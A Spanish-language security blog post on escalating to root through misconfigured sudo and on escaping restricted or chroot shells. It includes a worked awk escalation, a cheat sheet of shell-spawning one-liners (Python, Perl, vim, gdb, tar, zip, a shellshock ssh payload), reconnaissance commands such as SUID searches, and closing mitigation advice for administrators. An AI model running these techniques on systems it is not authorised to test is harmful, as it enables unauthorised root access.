Escalado con sudo / Ejecutar una shell en entornos restringidos / enjaulados (Shell spawning)



Dependiendo de como se haya configurado sudo, es posible ejecutar comandos que nos pueden permitir obtener una shell de root. El mismo mecanismo se puede utilizar para intentar obtener una terminal con privilegios en terminales restringidas o entornos enjaulados. Estos son algunos programas que facilitan poder arrancar una shell.



Ejemplo de escalda de privilegios usando awk.
user1@vagrant:~$ sudo -l   # Configuración sudo del usuario user1.
Matching Defaults entries for user1 on vagrant.vm:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User user1 may run the following commands on vagrant.vm:
    (ALL : ALL) /usr/bin/awk
 
user1@vagrant:~$ id   # UIDs del usuario user1.
uid=1001(user1) gid=1002(user1) groups=1002(user1)
user1@vagrant:~$ sudo awk 'BEGIN {system("/bin/sh")}'   # Escalada de privilegios.
 
user1@vagrant:~# id
uid=0(root) gid=0(root) groups=0(root)   # Usuario root.

Aplicaciones que pueden facilitar escalada de privilegios

Python.
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import os; os.system("/bin/bash")'
python
>>> import os
>>> os.system("/bin/bash")'
Awk.
awk 'BEGIN {system("/bin/sh")}'
Find.
find /home/user/.cmake/ -name packages -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find /home/user/.cmake/ -name packages -exec /bin/sh \;
Perl (linea de comandos).
perl -e 'exec "/bin/bash";'
Perl (dentro de un script / modo interactivo).
exec "/bin/sh";
Ruby (linea de comandos).
ruby -e "system '/bin/sh'"
ruby -e "exec '/bin/sh'"
Ruby (dentro de un script / modo interactivo).
exec "/bin/sh"
system "/bin/sh"
Lua (linea de comandos).
lua -e "os.execute('/bin/sh')"
Lua (dentro de un script / modo interactivo).
os.execute('/bin/sh')
except
except spawn
gdb
gdb
(gdb)!/bin/bash
MySQL
mysql> \! /bin/bash
Vi / VIM
:!bash
:set shell=/bin/bash
:shell
Pico
pico -s "/bin/bash" 
Escribir /bin/bash y pulsar Ctrl+t.
Git
git help status > !/bin/bash
more / less / man / nmap (versiones antiguas con opción %%–&&interactive)
!sh
ssh
ssh user@XX -t "/bin/sh"
ssh user@XX -t "bash --noprofile"
ssh user@XX -t "() { :; }; /bin/bash" (shellshock)
zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

Explorar el entorno en shells muy restrictivas

Buscar procesos enjaulados: buscar_procesos_corriendo_en_jaulas_chroot
Conocer el entorno donde se está enjaulado.
echo $SHELL
sudo -s
printenv
env
find / -perm -4000 -exec ls -ldb {} \; # Buscar comandos con SUID.
Listar ficheros. (Alternativa a dir, ls,…)
echo *
Ver contenido de un fichero (Alternativa a cat, less, more,…)
while read line; do echo "$line"; done < file.txt
Contar las lineas de un determinado fichero. (Alternativa a wc)
grep -c -i ".*" /etc/passwd
i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i 
Conocer la identidad del usuario en uso.
i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i
echo $UID
NOTA: echo y los nombres de variables pueden dar información de interés. El comando “env” muestra un buen listado de variables disponibles.
Buscar ficheros ejecutables, con permisos de lectura, escritura, etc.
# Ficheros con permisos de lectura.
for x in `echo /sbin/*`; do if [ -r $x ]; then echo $x; fi; done
 
# Ficheros con permisos de escritura "-w", de ejecución: "-x",...
# Leer: http://tldp.org/LDP/abs/html/fto.html

Mitigación de escalado con sudo / SUID

La correcta mitigación del abuso de sudo requiere una gestión cuidadosa de los usuarios de sudo y sus permisos. Los administradores deben asegurarse de que sus usuarios sudo utilicen contraseñas robustas. 

Los administradores deben seleccionar programas que no alberguen la posibilidad de usar parámetros que permitan la ejecución de código arbitrario. Por ejemplo el uso de nano en lugar de Vi. 

Si un usuario necesita acceso de lectura a archivos confidenciales, lo mejor sería agregarlo a grupos específicos que tengan permisos para leer el archivo y no otorgarle derechos de sudo.
Identificar con find los binarios con SUID activo y estudiar si algunos de ellos es explotable.
Considerar el uso de particiones con la opción nosuid.



Compartir...


Siguenos en twitter: @disoftin
Compartir en Google Plus

Acerca de Fredy Avila

Ingeniero de Sistemas, CEH, ECSA.
Twitter personal: @fredyavila
Twitter blog:@disoftin

0 comentarios:

Publicar un comentario